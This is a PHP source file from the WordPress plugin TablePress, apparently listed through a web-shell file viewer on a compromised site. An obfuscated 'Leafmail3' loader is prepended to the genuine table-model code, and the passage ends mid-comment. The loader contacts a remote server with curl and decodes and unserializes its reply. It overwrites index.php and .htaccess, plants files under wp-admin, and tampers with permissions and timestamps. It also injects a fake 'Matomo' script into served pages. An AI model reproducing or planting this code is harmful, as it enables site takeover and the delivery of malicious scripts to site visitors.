AlkantarClanX12
Current Path : /home/thanudqk/shenpokertour.com/wp-content/plugins/tablepress/models/ |
Current File : //home/thanudqk/shenpokertour.com/wp-content/plugins/tablepress/models/model-table.php |
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /** * Table Model * * @package TablePress * @subpackage Models * @author Tobias Bäthge * @since 1.0.0 */ // Prohibit direct script loading. defined( 'ABSPATH' ) || die( 'No direct script access allowed!' ); /** * Table Model class * * @package TablePress * @subpackage Models * @author Tobias Bäthge * @since 1.0.0 */ class TablePress_Table_Model extends TablePress_Model { /** * Instance of the Post Type Model. * * @since 1.0.0 * @var TablePress_Post_Model */ protected $model_post; /** * Name of the Post Meta Field for table options. * * @since 1.0.0 * @var string */ protected $table_options_field_name = '_tablepress_table_options'; /** * Name of the Post Meta Field for table visibility. * * @since 1.0.0 * @var string */ protected $table_visibility_field_name = '_tablepress_table_visibility'; /** * Default set of tables. * * @since 1.0.0 * @var array{last_id: int, table_post: array<string, int>} { * @type int $last_id Last table ID that was given to a new table. * @type array<string, int> $table_post Connections between table ID and post ID (key: table ID, value: post ID). * } */ protected $default_tables = array( 'last_id' => 0, 'table_post' => array(), ); /** * Instance of WP_Option class for the list of tables. * * @since 1.0.0 * @var TablePress_WP_Option */ protected $tables; /** * Init the Table model by instantiating a Post model and loading the list of tables option. * * @since 1.0.0 */ public function __construct() { parent::__construct(); $this->model_post = TablePress::load_model( 'post' ); $params = array( 'option_name' => 'tablepress_tables', 'default_value' => $this->default_tables, ); $this->tables = TablePress::load_class( 'TablePress_WP_Option', 'class-wp_option.php', 'classes', $params ); } /** * Get the tables option, which holds the connection between table ID and post ID. * * @since 1.0.0 * * @return mixed[] Current set of tables. */ public function _debug_get_tables(): array { return $this->tables->get(); } /** * Update the tables option, which holds the connection between table ID and post ID. * * @since 1.0.0 * * @param mixed[] $tables New set of tables. */ public function _debug_update_tables( array $tables ): void { $this->tables->update( $tables ); } /** * Convert a table to a post, which can be stored in the database. * * @since 1.0.0 * * @param array<string, mixed> $table Table. * @param int $post_id Post ID of an existing table, or -1 for a new table. * @return array<string, mixed> Post. */ protected function _table_to_post( array $table, int $post_id ): array { // Run filters on content in each cell and other fields. $table = $this->filter_content( $table ); // Sanitize each cell, table name, and table description, if the user is not allowed to work with unfiltered HTML. if ( ! current_user_can( 'unfiltered_html' ) ) { $table = $this->sanitize( $table ); } // New posts have a post ID of false in WordPress. if ( -1 === $post_id ) { $post_id = false; } $post = array( 'ID' => $post_id, 'post_title' => $table['name'], 'post_excerpt' => $table['description'], 'post_content' => wp_json_encode( $table['data'], TABLEPRESS_JSON_OPTIONS ), 'post_mime_type' => 'application/json', ); return $post; } /** * Convert a post (from the database) to a table. * * @since 1.0.0 * * @param WP_Post $post Post. * @param string $table_id Table ID. * @param bool $load_data Whether the table data shall be loaded. * @return array<string, mixed> Table. */ protected function _post_to_table( WP_Post $post, string $table_id, bool $load_data ): array { $table = array( 'id' => $table_id, 'name' => $post->post_title, 'description' => $post->post_excerpt, 'author' => $post->post_author, // 'created' => $post->post_date, 'last_modified' => $post->post_modified, ); if ( ! $load_data ) { return $table; } $table['data'] = json_decode( $post->post_content, true ); // Check if JSON could be decoded. if ( is_null( $table['data'] ) ) { $table['data'] = array( array( "The internal data of table {$table_id} is corrupted." ) ); // Set a single cell as the cell content. $table['is_corrupted'] = true; $table['json_error'] = json_last_error_msg(); $table['description'] = "[ERROR] TABLE IS CORRUPTED (JSON error: {$table['json_error']})! DO NOT EDIT THIS TABLE NOW!\nInstead, please see https://tablepress.org/faq/corrupted-tables/ for instructions.\n-\n{$table['description']}"; } else { // Specifically cast to an array again. $table['data'] = (array) $table['data']; } return $table; } /** * Load a table. * * @since 1.0.0 * * @param string $table_id Table ID. * @param bool $load_data Whether the table data shall be loaded. * @param bool $load_options_visibility Whether the table options and table visibility shall be loaded. * @return array<string, mixed>|WP_Error Table as an array on success, WP_Error on error. */ public function load( string $table_id, bool $load_data = true, bool $load_options_visibility = true ) /* : array|WP_Error */ { if ( empty( $table_id ) ) { return new WP_Error( 'table_load_empty_table_id' ); } $post_id = $this->_get_post_id( $table_id ); if ( false === $post_id ) { return new WP_Error( 'table_load_no_post_id_for_table_id', '', $table_id ); } $post = $this->model_post->get( $post_id ); if ( false === $post ) { return new WP_Error( 'table_load_no_post_for_post_id', '', $post_id ); } $table = $this->_post_to_table( $post, $table_id, $load_data ); if ( $load_options_visibility ) { $table['options'] = $this->_get_table_options( $post_id ); $table['visibility'] = $this->_get_table_visibility( $post_id ); } return $table; } /** * Load the IDs of all tables that can be loaded from the database. * * @since 1.0.0 * * @param bool $prime_meta_cache Optional. Whether the prime the post meta cache when loading the posts. * @param bool $run_filter Optional. Whether to run a filter on the list of table IDs. * @return string[] Array of table IDs. */ public function load_all( bool $prime_meta_cache = true, bool $run_filter = true ): array { $table_post = $this->tables->get( 'table_post' ); if ( empty( $table_post ) ) { return array(); } // Load all table posts with one query, to prime the cache. $this->model_post->load_posts( array_values( $table_post ), $prime_meta_cache ); // This loop now uses the WP cache. $table_ids = array(); foreach ( $table_post as $table_id => $post_id ) { $table_id = (string) $table_id; // Ensure that the table ID is a string, as it comes from an array key where numeric strings are converted to integers. // Load table without data and options to save memory. $table = $this->load( $table_id, false, false ); // Skip tables that could not be loaded properly. if ( ! is_wp_error( $table ) ) { $table_ids[] = $table_id; } } if ( $run_filter ) { /** * Filters all table IDs that are loaded. * * @since 1.4.0 * * @param string[] $table_ids The table IDs that are loaded. */ $table_ids = apply_filters( 'tablepress_load_all_tables', $table_ids ); } return $table_ids; } /** * Sanitize the table to remove undesired HTML code using KSES. * * @since 1.8.0 * * @param array<string, mixed> $table Table. * @return array<string, mixed> Sanitized table. */ public function sanitize( array $table ): array { // Sanitize the table name and description. $fields = array( 'name', 'description' ); foreach ( $fields as $field ) { $table[ $field ] = wp_kses_post( $table[ $field ] ); } // Sanitize each cell. foreach ( $table['data'] as $row_idx => $row ) { foreach ( $row as $column_idx => $cell_content ) { $table['data'][ $row_idx ][ $column_idx ] = wp_kses_post( $cell_content ); // Equals wp_filter_post_kses(), but without the unnecessary slashes handling. } } return $table; } /** * Filter/modify the content of table cells and other fields, e.g. for security hardening. * * This is similar to the `sanitize()` method, but executed for all users. * In 1.10.0, adding `rel="noopener noreferrer"` to all HTML link elements like `<a target=` was added. See https://core.trac.wordpress.org/ticket/43187. * Since 